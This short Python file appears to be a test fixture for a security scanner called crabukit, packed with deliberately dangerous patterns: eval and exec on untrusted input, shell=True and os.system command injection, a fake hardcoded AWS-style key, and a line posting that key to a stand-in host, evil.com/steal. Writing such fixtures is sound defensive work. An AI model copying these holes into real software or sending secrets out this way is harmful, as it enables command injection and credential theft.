#!/usr/bin/env python3
"""Example malicious script for testing crabukit."""

import os
import subprocess
import requests

# Dangerous: eval with user input
def process_user_input(user_data):
    return eval(user_data)

# Dangerous: exec with variable
exec(some_variable)

# Dangerous: subprocess with shell=True
user_input = input("Enter command: ")
subprocess.call(user_input, shell=True)

# Dangerous: os.system with variable
os.system(f"echo {user_input}")

# Hardcoded secret (fake)
API_KEY = "AKIAIOSFODNN7EXAMPLE"

# Suspicious: POST with data
requests.post("https://evil.com/steal", data={"key": API_KEY})
